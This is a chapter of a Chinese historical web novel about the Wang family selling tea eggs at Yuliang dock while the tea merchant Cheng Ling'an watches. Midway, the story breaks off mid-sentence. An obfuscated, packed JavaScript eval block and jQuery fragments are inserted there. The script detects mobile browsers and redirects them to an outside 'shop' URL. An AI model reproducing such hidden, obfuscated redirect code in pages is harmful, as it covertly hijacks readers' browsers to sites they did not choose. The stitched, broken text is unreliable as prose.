启明星还微微亮着,晨光熹微,江雾濛濛,汪家人上了竹筏,从下汪村旁的练江顺流而下,前往州城。
沿途江面上飘着的竹筏和船只越来越密集,岸上人声渐渐鼎沸,不过半个时辰,便隐隐能看到渔梁码头的轮廓了。
前世,汪怜儿也曾去过渔梁游玩,那时的渔梁古村早已落寞,像个风烛残年的老人,看不出一点曾经“徽商之源”的盛象。
然而眼前的渔梁却不同,它才刚刚成为全歙州最大的商业街市,正是兴茂繁荣的时候。
只见一道青石筑就的大坝远远地轰鸣着,吞吐着翻涌的练江江水。上百艘船只和数不清的竹筏飘在码头旁边的江面上,岸上是一条长长的、被两旁的木质楼房簇拥着的街道。
码头上人头攒动,众多短褐船工忙着给停靠的货船卸货、装货,扁担上挑着货物的脚夫来回奔走着。
汪慎义将竹筏停在码头旁,一家人带着东西上了岸。
此时时辰尚早,然而街上已是熙熙攘攘。主街是一条长长的鹅卵石铺就的街道,沿街的店铺摆放着琳琅满目的货品,米店、盐栈、杂货铺、食铺、药铺……一路上汪怜儿看得目不暇接。
忽地一股茶香飘进她鼻子里,汪怜儿看了看远处,一规模庞大的茶行静静伫立在最热闹的街中段,不断有人进出、搬着货物。
汪怜儿走近,惊觉这茶行竟是别家店铺的几倍宽,连门板上都刷着油亮亮的桐油,门上一匾黑底金字:新安茶行。
这不就是程灵安家的茶行吗?!
汪怜儿瞬间紧张起来,她探身看了看店里有没有那个白衣身影。可惜高高的柜台后只坐了一个账房先生并几个伙计,正忙着做生意。
许是他今日没来吧,还这么早呢。汪怜儿失落一瞬,安慰自己。
然而她转瞬一想程灵安不在正好,她……不太想被他看到,她摆摊卖茶叶蛋的样子。
即便她知道这没什么可羞耻的,但本能地,她就是不想让他看到。
一旁的汪世德和胡贞娘走到这最繁华的街中段,顿时决定就在此处摆摊,正好因着时辰尚早,新安茶行的斜对面还有一处空地,汪家人便安置下来。
汪怜儿虽窘迫却也识大体,知晓这是最适合摆摊的地方了,因此没有出言反对,但心中却默默祈祷着今日程灵安千万不要来店里。
他们将火盆架上,放入炭点着,再将装着满满几十个茶叶蛋的陶釜放上去加热。
须臾,小摊上便飘出一股奇异诱人的香味,街上的人群闻到这个味道后向小摊投来好奇的眼神,他们还从未闻到过这般茶香酱香交织的气味。
眼前的小摊正摆着一釜深色的鸡子汤,釜下炭火烧得足,鸡子汤“咕嘟咕嘟”地滚着,被清晨的风一吹便送来一阵阵香味,直勾得人腹中生饥。
汪怜儿发现不少人路过时都要看一眼自家的摊位,还有些人驻足了却面带犹豫。
她鼓起勇气站起来招呼:“卖茶煮鸡子喽——热腾腾、香喷喷的茶煮鸡子——一枚只要一文钱——”
她微红着脸大声招呼着,神情十分认真,身后四人看到这样卖力的汪怜儿不约而同地微笑起来,遂都加入了招呼客人的行列。
在一家人如此卖力的招揽下,很快便有人掏钱要买了。
这客人便是之前驻足观望的人其中之一,他虽从未见过这“茶煮鸡子”,但这味道闻起来实在诱人得紧,他又正好起得早,还没来得及用朝食,便掏钱买了一枚试试。
汪怜儿利落地给他捞了一颗出来,用之前采的宽大树叶包了递过去,还贴心嘱咐一句客人小心烫。
这人也是饿狠了,站在摊子前面便开始剥蛋壳,剥好后把蛋一口吞下去,嚼了起来。
入口便是一股混着茶味的咸香,这人眼睛一亮,这鸡子果然如闻着那般好吃!
他吃得快,没几瞬鸡蛋便下了肚,他还觉意犹未尽,又掏钱买了两个,汪怜儿自是乐呵呵地给他打包好蛋递过去。
一旁观望的人见到他这般反应便放了心,都涌了上来要买,五个人顿时忙碌起来。
日头逐渐升起,已然到了辰时。陶釜里只剩下三四个蛋了,这可比汪怜儿来之前设想过的结局要好太多了。
他们一家五口人甚至都还没吃朝食,就是怕生意不好没人买,剩下的一家人自行解决。
这下好了不用担心卖不掉了,不仅快卖完了,按茶叶蛋的受欢迎程度他们还准备少了呢,一家人忍不住龇着嘴笑。
汪怜儿坐在那里,心里已经开始盘算着等下回去后继续做茶叶蛋。不过家里的蛋已经不多了,等下她得去买点鸡蛋,还有酱清也不多了,家里就那一坛子酱,她琢磨着也去买点。
她正出神地想着这些事,没有注意到斜对面的茶行中走出来一个人。
正是刚起床的程灵安。
正值茶商贩茶季,程灵安忙得要死,他昨夜清点入库茶叶数量晚了,他便索性在茶行二楼将就了一晚。再过几日他便要带人去浮梁贩茶了,而他父亲则去扬州。
早上醒来时他竟不是被渔梁街上喧闹的人声吵醒,而是被飘进鼻子里的一股奇异香味唤醒的。
他闻到了一股茶味,却又像是吃食,遂起了好奇,下床洗漱好后出门一探。
只见斜对面的小摊中坐着一个看起来正在发呆的青衣少女,十分眼熟,是上次收茶时见过的汪三娘,她面前摆着一个正在烧着的陶釜,那股香味就是从陶釜里飘出来的。
又扫了一眼,程灵安才注意到汪世德和他的儿子也在,还有两个想必是其妻和其女,看来是这一家子齐出动来渔梁摆摊卖吃食了。
釜中是深色的汤,不知道卖的是什么,但这家人还在这里候着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382652|200209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想必是还未卖完。
他站在门口犹豫了会,还是喊了一个小厮去买下汪家剩下的所有吃食。
汪怜儿正在想着等下收摊后去买鸡蛋和酱清的事,有个小厮样打扮的人走过来跟她说要买下剩下所有的茶叶蛋。她顿时高兴起来,麻利地把剩下的几个蛋都打包了递过去。
只见那小厮接过蛋付了钱后竟径直向对面的新安茶行走去了,汪怜儿瞪大了双眼,这……
其余四人见到茶叶蛋都卖光了也高兴起来,开始收拾起东西准备离开。
而汪怜儿愣在那,那小厮的身影消失在门洞里她才依依不舍地收回眼神。
万一……她是说万一,即便是万分之一的可能,会不会是程灵安叫人来买的。她控制不住自己想入非非。
旁边胡贞娘看小女儿杵在那呆愣半天,脸颊红红,还以为她是饿了,她扯了汪怜儿一下,把她从程灵安吃茶叶蛋的幻想中唤醒。
父母二人带着三个儿女向街上的朝食铺子走去,今日赚了钱,一家人便奢侈一把。
而此时的程灵安也在用朝食,嵌着螺钿的紫檀桌上摆满了玲琅满目的食物,称得他面前被树叶包着的三个鸡子格格不入。
他打量着这几个外壳色深、飘着茶香味酱香味的鸡子,难道汪家是用茶和酱煮了这些鸡子吗?
闻着确实很香,鸡子的表面还被敲碎了,程灵安猜测此举应是为了入味。
他拿起一枚鸡子,轻轻撕开外壳,将剥好的鸡子送入嘴中咬了一口。
倒确实好吃,他心中暗赞一句。程灵安慢条斯理地吃完了手中那枚蛋,剩下的便被他赏了随身小厮。
看来此物是要在歙州流行开来了,他心想,此物材料低廉,制作简单,极易复制,只怕没几日渔梁的街上将飘满此物的香气了。汪家若是想靠贩卖此物发财只怕是难。
然而想出此做法的人心思确实灵巧,他起了好奇不知是汪家的谁,他猜想应当是个常年在灶间的女子,大概率是汪世德之妻吧。
眼前忽地闪过一张秀丽的脸,会不会是她呢?若是的话,那汪三娘确实是个能人,能想到许多寻常人想不到的法子。可惜是个女子,不然他就将她带在身边做小厮慢慢调教了。
程灵安不再多想,他用完朝食后便继续去清点货物,后日就要启程出发了。
他和阿爷两人会带上全歙州三分之一的春茶,先走陆路共同前往祁门,接着两人便要换水路分开出发。
他会顺阊江而下到达浮梁,他阿爷则要顺着秋浦河先到池州,再入长江,东下抵达扬州。
想到这程灵安询问小厮辟温杀鬼丸和仙人玉壶丸可准备好了,小厮应是,他又复问后日出发时的祖道祭可都准备好了,得到肯定的回答后他放下心来。
但愿此程不要遇到豺狼虎豹、山间贼寇,行船时一帆风顺。